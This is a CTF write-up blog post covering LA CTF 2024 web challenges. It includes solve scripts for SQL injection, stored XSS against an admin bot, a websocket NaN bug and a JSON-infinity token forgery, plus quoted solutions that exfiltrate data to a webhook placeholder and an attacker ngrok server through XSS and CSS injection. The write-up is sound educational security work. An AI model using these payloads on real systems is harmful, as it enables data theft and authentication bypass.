LA CTF 2024
A little warmup after Lunar New Year. Here is my writeup for the web challenges that I solved in LA CTF 2024
Web
My team solved 7 out of 10 web challenges in the event. I was able to solve 4 challenges (la housing portal, new-housing-portal, pogn, jason-web-token)
la housing portal
These are the 2 most noticable functions of the challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
@app.route("/submit", methods=["POST"])
def search_roommates():
data = request.form.copy()
if len(data) > 6:
return "Invalid form data", 422
for k, v in list(data.items()):
if v == 'na':
data.pop(k)
if (len(k) > 10 or len(v) > 50) and k != "name":
return "Invalid form data", 422
if "--" in k or "--" in v or "/*" in k or "/*" in v:
return render_template("hacker.html")
name = data.pop("name")
roommates = get_matching_roommates(data)
return render_template("results.html", users = roommates, name=name)
def get_matching_roommates(prefs: dict[str, str]):
if len(prefs) == 0:
return []
query = """
select * from users where {} LIMIT 25;
""".format(
" AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
)
print(query)
conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)
cursor = conn.cursor()
cursor.execute(query)
r = cursor.fetchall()
cursor.close()
return r
We can see that there is a possible SQL injection in the function get_matching_roomates
.
In order to get to that function, we need to go through the /submit
route, and inside there is a filter. This filter block comments such as --
and /**/
so we can’t do something like OR 1=1 --
.
The filter also check if the key and value that we provide are not longer than 10 and 50 characters respectively, and we can’t use the key name
to inject because it will be remove.
So I try to craft a SQLi with <= 50 characters.
After some trials and errors, I came up with the following payload:
1
{"1": "' UNION SELECT 1,flag,1,1,1,1 FROM flag WHERE ''='"}
The length of v is exactly 50 characters!
When injected, the sql query will become the following: select * from users where 1='' UNION SELECT 1,flag,1,1,1,1 FROM flag WHERE ''='' LIMIT 25;
and will return the flag!
Solve script
1
2
3
4
5
6
import requests
sess = requests.Session()
url = "https://la-housing.chall.lac.tf"
res = sess.post(url + "/submit", data={"name": "12", "1": "' UNION SELECT 1,flag,1,1,1,1 FROM flag WHERE ''='"})
print(res.text)
Flag: lactf{us3_s4n1t1z3d_1npu7!!!}
new-housing-portal
Looking at the code we can see that there’s a possible XSS at the /finder
endpoint.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const $ = q => document.querySelector(q);
$('.search input[name=username]').addEventListener('keydown', (e) => {
if (e.key === 'Enter') {
location.search = '?q=' + encodeURIComponent(e.target.value);
}
});
const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
(async () => {
const user = await fetch('/user?q=' + encodeURIComponent(query))
.then(r => r.json());
if ('err' in user) {
$('.err').innerHTML = user.err;
$('.err').classList.remove('hidden');
return;
}
$('.user input[name=username]').value = user.username;
$('span.name').innerHTML = user.name;
$('span.username').innerHTML = user.username;
$('.user').classList.remove('hidden');
})();
}
We can see that XSS can be caused through 2 variables user.name
and user.username
We can inject malicious payload into the varibles using the register function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
app.post('/register', (req, res) => {
const username = req.body.username?.trim();
const password = req.body.password?.trim();
const name = req.body.name?.trim();
const deepestDarkestSecret = req.body.deepestDarkestSecret?.trim();
if (users.has(username)) {
res.redirect('/login/?err=' + encodeURIComponent('username already exists'));
return;
}
const user = {
username,
name,
password,
deepestDarkestSecret: 'todo',
invitations: [],
registration: Date.now()
};
users.set(username, user);
res
.cookie('auth', username, { signed: true, httpOnly: true })
.redirect('/');
});
For convenience, I will use the property name
as injection point, let’s try a simple alert(1)
payload <img src=x onerror=alert(1) />
After that, use the finder endpoint to search for the username of the created account.
Done! now since the httpOnly flag is set on the admin cookie. We can’t steal it through XSS, so we gonna find another way to get the flag.
But where’s the flag? It’s stored inside the deepestDarkestSecret
property of the user samy
, which is our admin bot user.
And where can we see the deepestDarkestSecret
of a user? It’s in /request
endpoint!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const $ = q => document.querySelector(q);
const $all = q => document.querySelectorAll(q);
(async () => {
const { invitations } = await fetch('/invitation').then(r => r.json());
$('.invitations').innerHTML = invitations.map((inv) => `
<div class="invitation">
<div class="col">
<div class="from">From: ${inv.from}</div>
<div class="secret">Deepest Darkest Secret: ${inv.deepestDarkestSecret}</div>
</div>
<div class="col">
<button>Accept</button>
</div>
</div>
`).join('\n');
$all('button').forEach((button) => {
button.addEventListener('click', () => {
alert('Sorry! The System is under load, cannot accept invite!');
})
});
})();
In order to view a user’s deepestDarkestSecret
. That user has to send us an invitation. An invitation can be send with the following api:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.post('/finder', needsLogin, (req, res) => {
const username = req.body.username?.trim();
if (!users.has(username)) {
res.redirect('/finder?err=' + encodeURIComponent('username does not exist'));
return;
}
users.get(username).invitations.push({
from: res.locals.user.username,
deepestDarkestSecret: res.locals.user.deepestDarkestSecret
});
res.redirect('/finder?msg=' + encodeURIComponent('invitation sent!'));
});
So, in order to view the deepestDarkestSecret
of samy
. We need samy
to send us an invitation.
Since we already got XSS, we can modify it to send a POST request to the /finder
endpoint to send an invitation to the attacker.
Create a new user Dat4Phit
with name
equal the following payload:
1
<img src=x onerror=fetch("https://new-housing-portal.chall.lac.tf/finder",{method:"POST",mode:"no-cors",cache:"no-cache",credentials:"same-origin",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"username=Dat4Phit"}) />
After that send the following link to the admin bot: https://new-housing-portal.chall.lac.tf/finder/?q=Dat4Phit
.
Log into the account Dat4Phit
and check the invitation tab.
Flag: lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}
pogn
This time, a websocket pong game.
After inspecting the source code, we can see how the server and client communicate with each other.
server -> client: [ball position, bot position]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (ball[0] < 0) {
ws.send(JSON.stringify([
Msg.GAME_END,
'oh no you have lost, have you considered getting better'
]));
clearInterval(interval);
// game still happening
} else if (ball[0] < 100) {
ws.send(JSON.stringify([
Msg.GAME_UPDATE,
[ball, me]
]));
// user wins
} else {
ws.send(JSON.stringify([
Msg.GAME_END,
'omg u won, i guess you considered getting better ' +
'here is a flag: ' + flag,
[ball, me]
]));
clearInterval(interval);
}
client -> server: [player position, player velocity]
1
2
3
4
5
6
7
8
9
10
11
ws.on('message', (data) => {
try {
const msg = JSON.parse(data);
if (msg[0] === Msg.CLIENT_UPDATE) {
const [ paddle, paddleV ] = msg[1];
if (!isNumArray(paddle) || !isNumArray(paddleV)) return;
op = [clamp(paddle[0], 0, 50), paddle[1]];
opV = mul(normalize(paddleV), 2);
}
} catch (e) {}
});
If we pay attention closely, the normalize
function doesn`t check if the value passed in is zero or not.
1
2
const norm = ([x, y]) => Math.sqrt(x ** 2 + y ** 2);
const normalize = (v) => mul(v, 1 / norm(v));
And we know that, weird stuffs will happend if we divide by zero lol, the result will mostly likely be NaN and the ball position will be NaN too. And it will pass the check and return the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from websocket import create_connection
ws_server = "ws://pogn.chall.lac.tf/ws"
ws = create_connection(ws_server)
resp = [50, 0]
while resp[0] >= 0:
raw = ws.recv()
if "flag" in raw or "lost" in raw:
print(raw)
break
resp = eval(raw)[1][0]
ws.send(f"[1,[[{resp[0]},{resp[1]}],[0,0]]]")
print(resp)
ws.close()
Flag: lactf{7_supp0s3_y0u_g0t_b3773r_NaNaNaN}
jason-web-token
This challenge took me the most time to solve because I thought that python can store infinitely many digit for a number 😭. I guess I learnt my lesson after this challenge.
The challenge source code is relative short, with these 2 functions as it meat and potatoes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def create_token(**userinfo):
userinfo["timestamp"] = int(time.time())
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
data = json.dumps(userinfo)
return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
def decode_token(token):
if not token:
return None, "invalid token: please log in"
datahex, signature = token.split(".")
data = bytes.fromhex(datahex).decode()
userinfo = json.loads(data)
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
if hash_(f"{data}:{salted_secret}") != signature:
return None, "invalid token: signature did not match data"
return userinfo, None
In order to get the flag, we have to construct a token so that the user role is admin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@app.post("/login")
def login(login: LoginForm, resp: Response):
age = login.age
username = login.username
if age < 10:
resp.status_code = 400
return {"msg": "too young! go enjoy life!"}
if 18 <= age <= 22:
resp.status_code = 400
return {"msg": "too many college hackers, no hacking pls uwu"}
is_admin = username == auth.admin.username and age == auth.admin.age
token = auth.create_token(
username=username,
age=age,
role=("admin" if is_admin else "user")
)
resp.set_cookie("token", token)
resp.status_code = 200
return {"msg": "login successful"}
@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
userinfo, err = auth.decode_token(token)
if err:
resp.status_code = 400
return {"err": err}
if userinfo["role"] == "admin":
return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}
There are only 2 parameter we have control over, it’s username
and age
, after using the login endpoint, the server will return the token in the form of <hexdata>.<signature>
the signature is calculated by SHA256(data:salted_secret)
. The salted_secret
is a number generated from a 128-bit secret
.
At first, I thought this was a crypto challenge and tried to find a way to craft a hash using the length extension attack but it lead nowhere.
So after a long time analyze the code over and over again, I wonder to myself what if age
is extremely large and python couldn’t process it?
And I decided to test locally, and to my suprise, something interesting is printed.
1
2
3
4
5
6
import json
secret = 1231233 # UNKNOWN
userinfo = json.loads('{"username": "data", "age": 10E1000, "role": "admin", "timestamp": 1708246315}')
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
print(salted_secret)
What? it just returned inf
. So that means that no matter what the secret
is, if we input a really large number, in this case 10E1000
, the salted_secret
will be inf
.
Bingo! now the signature will be the SHA256
hash of the string <data>:inf
as long as age
is really big. Now we can craft whatever token we want!
Solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import hashlib
sess = requests.Session()
url = 'https://jwt.chall.lac.tf'
data = '{"username": "data", "age": 10E1000, "role": "admin", "timestamp": 1708246315}'
hexdata = data.encode().hex()
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
sig = hash_(f"{data}:inf")
token = hexdata + "." + sig
res = requests.get(url + "/img", cookies={"token": token})
print(res.text)
Flag: lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}
Unsolved challenges
Below are the writeup for the challenges that I have attempted but unable to solve.
I want to reference other people’s writeups here as a note for future uses.
If you’re an author of any of the writeups below, I want to thank you for your insane work!
ctf-wiki
Reference:
- https://github.com/uclaacm/lactf-archive/blob/main/2024/web/ctf-wiki/solve.py
- https://youtu.be/ewXEEneicQQ?si=nK1U3XeY8yj2wfk8&t=990
So the challenge is based around the property of Lax
cookie. According to the documentation. Lax
cookies can’t be sent through iframe or img tag. But will be sent if the site navigated the user to the site that the cookie belongs to.
In the challenge, only the user that have not login (have no cookie) can trigger the XSS through the /view
endpoint. But in order to get the flag, the admin user have to sent a POST request to /flag
with the admin cookie in it.
One way to do it was to let the admin user trigger the XSS through an iframe
where the cookie is not sent. And the XSS navigate the admin to the cookie’s origin, in this case ctf-wiki.chall.lac.tf
, and the cookie will be sent with the request. After the admin user have navigate to the cookie’s origin, we can change the page content via the XSS payload to send a POST request to /flag
to get the flag and exfiltrate it.
XSS payload:
1
2
3
4
5
6
<script>
let w = window.open('{url}/home');
w.document.write(`<form action="/flag" method="POST" id="flag-form"></form>`);
setTimeout(() => w.document.forms['flag-form'].submit(), 500);
setTimeout(() => fetch('{webhook}', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ content: w.document.body.innerHTML })}), 1500);
</script>
Payload on the attacker server to trigger XSS via iframe
, the bot will visit this page.
1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title>PBR | UCLA</title>
</head>
<body>
<iframe src="https://ctf-wiki.chall.lac.tf/view/{xss_id}"></iframe>
</body>
</html>
quickstyle
Reference:
- https://github.com/uclaacm/lactf-archive/tree/main/2024/web/quickstyle/solve
- https://gist.github.com/arkark/5787676037003362131f30ca7c753627
The intended solution was to use a variant of 3-combo to leak a one-time password.
But after reading other people writeup, I found that arkark’s solution was the most simple and easy to understand. The idea was to not let the server regenerate the otp by abusing the disk cache on the client-side.
The flow was go to website (generate otp) -> leak first character via css -> go to about:blank -> use history.back() to use the disk cache (doesn’t generate otp) -> leak second character and so on…
Note: Script executed in about:blank, in this case history.back()
is considered to be same origin in the document, so the SOP won’t block navigating back via history
object.
Solve script from arkark’s writeup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const app = require('fastify')({});
const path = require('node:path');
const ATTACKER_BASE_URL =
'https://<ngrok-id>.ngrok-free.app';
const user = 'username_xxxxx';
app.addHook('onSend', async (res, reply) => {
reply.header('Access-Control-Allow-Origin', '*');
});
app.register(require('@fastify/static'), {
root: path.join(__dirname, 'public'),
prefix: '/'
});
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
let known = '';
const TARGET_LEN = 80;
const CHARS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
app.get('/cssi', async (req, reply) => {
let css = '';
for (const c of CHARS) {
css += `
input[value ^= "${known}${c}"] {
background: url("${ATTACKER_BASE_URL}/cssi/leak?prefix=${known}${c}");
}
`.trim();
}
const html = `
<style>${css}</style>
<form name="querySelectorAll"></form>
`.trim();
return reply.type('html').send(html);
});
app.get('/cssi/leak', async (req, reply) => {
known = req.query.prefix.trim();
console.log({ len: known.length, known });
if (known.length === TARGET_LEN) {
console.log({ user, otp: known });
app.close();
}
return '';
});
app.get('/cssi/prefix', async (req, reply) => {
const len = parseInt(req.query.len);
while (known.length < len) {
await sleep(10);
}
return known;
});
app.listen({ address: '0.0.0.0', port: 8080 }, (err) => {
if (err) throw err;
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<body>
<script>
// const BASE_URL = "http://web:3000";
const BASE_URL = "https://quickstyle.chall.lac.tf";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const back = async (win) => {
while (true) {
try {
console.log(win.history);
win.history.back();
return;
} catch {
await sleep(10);
}
}
};
const TARGET_LEN = 80;
const main = async () => {
const user = "username_xxxxx";
const page = `${location.origin}/cssi`;
const win = open(`${BASE_URL}/?${new URLSearchParams({ user, page })}`);
for (let len = 1; len < TARGET_LEN; len++) {
await fetch(`/cssi/prefix?len=${len}`);
win.location = `about:blank`;
await back(win);
}
};
main();
</script>
</body>
I used ngrok to expose the port and replaced the url in the server code. After that I started the server and sent the ngrok url to the bot.
But I was only able to leak about ~73 characters of the otp and then it stop.
After check the bot code in the challenge archive, I saw that the bot has a 60-second timeout so that mean that I didn’t leak the otp fast enough. This may be caused by ngrok or my machine/bot not being fast enough? I tried a couple more time and the most characters I was able to leak was 75.
Despite not being able to solved it fully, I have learnt alot about css injection and chrome’s caching policy. It was a great challenge!
biscuit-of-totality
Reference:
- https://github.com/uclaacm/lactf-archive/tree/main/2024/web/biscuit-of-totality/solve
- https://gist.github.com/arkark/5787676037003362131f30ca7c753627
my poor git
Reference: https://seall.dev/posts/lactf2024#miscmy-poor-git-72-solves
my smart git
Reference: https://github.com/uclaacm/lactf-archive/blob/main/2024/misc/my-smart-git/sol.py